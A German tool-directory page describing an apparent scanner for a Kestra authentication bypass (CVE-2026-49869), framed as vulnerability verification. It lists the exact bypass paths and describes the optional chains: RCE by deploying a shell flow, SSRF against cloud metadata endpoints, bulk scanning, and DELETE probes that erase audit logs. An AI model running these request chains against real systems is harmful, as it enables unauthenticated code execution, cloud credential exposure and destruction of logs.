Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-49869 — Kestra Auth-Bypass-Schwachstellenprüfer | Kitploit
Tools/GitHubGitHub/ap0dexme0/cve-2026-49869
SchwachstellenscannerExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlAuthentifizierung
GitHubap0dexme0/cve-2026-49869

CVE-2026-49869

Kestra Auth-Bypass-Schwachstellenprüfer

Repository anzeigen
1128vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Kestra CVE-2026-49869 / CVE-2026-53576 Scanner

Scannt Kestra-Instanzen auf die endsWith("/configs")-Authentifizierungsfilter-Umgehung. In Kestras AuthenticationFilter.java wird request.getPath().endsWith("/configs") anstelle einer exakten Pfadübereinstimmung mit /api/v1/configs geprüft. Da Kestra Ressourcen über vom Aufrufer wählbare Pfadsegmente (Namespace, Flow-ID) adressiert, umgeht jeder Pfad, der auf /configs endet, die Basis-Authentifizierung und ermöglicht unauthentifizierte Flow-Erstellung und RCE. (CVSS 10.0)

Referenzen:

  • GHSA-5vc5-wxxq-3fjx
  • TP-2026-009
  • CVE-2026-49869 – Unzureichende Authentifizierung / OS-Befehlseinschleusung / Unvollständige Liste unzulässiger Eingaben
  • CVE-2026-53576

Erkennungslogik

  1. Lebendcheck + Versionsprüfung GET /api/v1/configs (muss 200 zurückgeben; Antworttext wird auf Kestra-Version geparst)
  2. Auth-Prüfung GET /api/v1/{tenant}/flows (sollte 401/403 zurückgeben, falls Auth erzwungen wird)
  3. Bypass-Sonden 6 GET-Anfragen an Pfade, die auf /configs enden; falls eine davon nicht 401/403 zurückgibt, während die Auth-Prüfung 401/403 erzwingt, ist die Instanz verwundbar
  4. Aggressiver Modus (--aggressive) sendet zusätzlich PUT-Anfragen, um die Schreib-Bypass-Fähigkeit zu bestätigen
  5. RCE-Verifikation (--rce) – vollständige Kette: Shell/Python-Flow erstellen → Ausführung anstoßen → Logs abrufen → Codeausführung bestätigen → Bereinigung
  6. SSRF-Erkennung (--ssrf) – erstellt einen Flow mit Pebbles http(), der auf AWS-/GCP-/Azure-Cloud-Metadaten und interne Endpunkte zielt, und prüft dann Logs auf Hinweise
  7. DELETE-Sonden (--destructive) – sendet DELETE an Pfade für Flows, Dashboards und Logs, um eine Umgehung destruktiver Operationen zu bestätigen

Sonden-Endpunkte

Sichere Sonden (Standard)

SondeMethodePfadBeschreibung
Public ConfigsGET/api/v1/configsLebendcheck + Versionsextraktion
Protected NormalGET/api/v1/{tenant}/flowsAuth-Erzwingungs-Baseline
Flows BypassGET/api/v1/{tenant}/flows/{namespace}/configsFlow-Auflistungs-Bypass
Executions BypassGET/api/v1/{tenant}/executions/{namespace}/configsAusführungs-Bypass
KV Store BypassGET/api/v1/{tenant}/namespaces/{namespace}/kv/configsKV-Lese-Bypass
Dashboards BypassGET/api/v1/{tenant}/dashboards/configsDashboard-Bypass
Logs BypassGET/api/v1/{tenant}/logs/{namespace}/configsLog-Zugriffs-Bypass
Templates BypassGET/api/v1/{tenant}/templates/{namespace}/configsTemplate-Lese-Bypass

Aggressive Sonden (--aggressive)

SondeMethodePfadBeschreibung
Flows PUT BypassPUTgleicher Pfad wie Flows BypassErstellt einen minimalen debug.Return-Flow
KV PUT BypassPUTgleicher Pfad wie KV BypassErstellt einen KV-Eintrag {"scanned": true}

Destruktive Sonden (--destructive)

SondeMethodePfadBeschreibung
Flows DELETE BypassDELETEgleicher Pfad wie Flows BypassLöscht eine Ressource namens "configs"
Dashboards DELETE BypassDELETEgleicher Pfad wie Dashboards BypassLöscht ein Dashboard namens "configs"
Logs DELETE BypassDELETEgleicher Pfad wie Logs BypassLöscht Audit-Logs

RCE-Verifikationskette (--rce)

Wird nur ausgeführt, wenn Auth-Bypass bestätigt wurde. Die vollständige Kette aus dem Advisory:

SchrittMethodePfadBeschreibung
1. RCE-Flow erstellenPUT/api/v1/{tenant}/flows/{namespace}/configsStellt Flow mit io.kestra.plugin.scripts.shell.Commands bereit (echo <marker>, id, hostname). Fallback auf io.kestra.plugin.scripts.python.Script bei Fehlschlag.
2. Ausführung anstoßenPOST/api/v1/{tenant}/executions/{namespace}/configsStartet den Flow über den Bypass-Pfad
3. Logs abfragenGET/api/v1/{tenant}/logs/search?executionId=<id>Fragt bis zu --poll-retries-mal (Standard 10) alle --poll-interval Sekunden (Standard 3) die Logs ab, sucht nach dem eindeutigen RCE-Marker
4. BereinigungDELETEgleicher Pfad wie Schritt 1Entfernt den bereitgestellten Flow

SSRF-Erkennungskette (--ssrf)

Wird nur ausgeführt, wenn Auth-Bypass bestätigt wurde:

SchrittMethodePfadBeschreibung
1. SSRF-Flow erstellenPUT/api/v1/{tenant}/flows/{namespace}/configsStellt einen debug.Return-Task mit Pebble-http()-Aufrufen an AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance) und intern (127.0.0.1:8080/api/v1/configs) bereit
2. Ausführung anstoßenPOSTgleicher Pfad wie RCE Schritt 2Löst den Flow aus
3. Logs abfragenGET/api/v1/{tenant}/logs/search?executionId=<id>Prüft auf Cloud-Metadaten-Indikatoren (ami-, i-, 169.254.169.254, metadata.google.internal usw.)
4. BereinigungDELETEgleicher Pfad wie Schritt 1Entfernt den bereitgestellten Flow

CLI-Referenz

positional:
  target                          Einzelne Ziel-URL (z. B. http://localhost:8080)

options:
  -f, --file                      Datei mit Zielen (eines pro Zeile)
  -t, --timeout                   Request-Timeout in Sekunden (Standard: 10)
  --verify-ssl                    TLS-Zertifikate überprüfen
  -j, --json                      JSON-Ausgabe auf stdout
  -o, --output                    JSON-Bericht in Datei schreiben
  --tenant                        Tenant-Name (Standard: "main")
  --namespace                     Namespace für Bypass-Pfade (Standard: "tutorial")
  -w, --workers                   Thread-Anzahl für Bulk-Scans (Standard: 10)
  -a, --aggressive                PUT-Anfragen senden, um Schreib-Bypass zu bestätigen
  -P, --auto-ports                Ports für Auto-Expand (Standard: 8080 8081 8088 8091 80 443)

advanced probes:
  -r, --rce                       RCE-Verifikationskette aktivieren (Shell + Python-Flow,
                                   Ausführungsauslösung, Log-Abruf, automatische Bereinigung)
  -s, --ssrf                      SSRF-Erkennung aktivieren (Pebble http() zu Cloud-Metadaten-
                                   Endpunkten, log-basierte Beweissammlung)
  -d, --destructive               DELETE-Sonden auf Flows, Dashboards und Logs aktivieren
                                   (LÖSCHT Ressourcen auf verwundbaren Instanzen)
  --poll-interval                  Sekunden zwischen Log-Abfragen für RCE/SSRF-Ketten (Standard: 3)
  --poll-retries                   Maximale Log-Abfrageversuche für RCE/SSRF-Ketten (Standard: 10)

Ausgabe

Einzelziel

Vollständige, je Sonde aufgeschlüsselte Ausgabe mit Anreicherung (Version, RCE, SSRF, DELETE-Status) und Urteil:

====================================================================
  Ziel:      http://10.0.0.1:8080
  Zeitstempel: 2026-06-30T12:00:00+00:00
====================================================================

  Version:      1.3.20 (BETROFFEN)
  RCE:          BESTÄTIGT via shell
    | SCAN_RCE_a1b2c3d4e5f6
    | uid=0(root) gid=0(root) groups=0(root)
  SSRF:         ERKANNT
    | Indikatoren gefunden: ami-, 169.254.169.254, 127.0.0.1:8080
  DELETE-BYPASS: BESTÄTIGT (destruktive Operationen umgehen Auth)

  [Flows Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
    Status:       200
    Bypass:      JA

  [Exec Bypass]
    URL:         http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
    Status:       404
    Bypass:      Nein

  ...
Tool herunterladen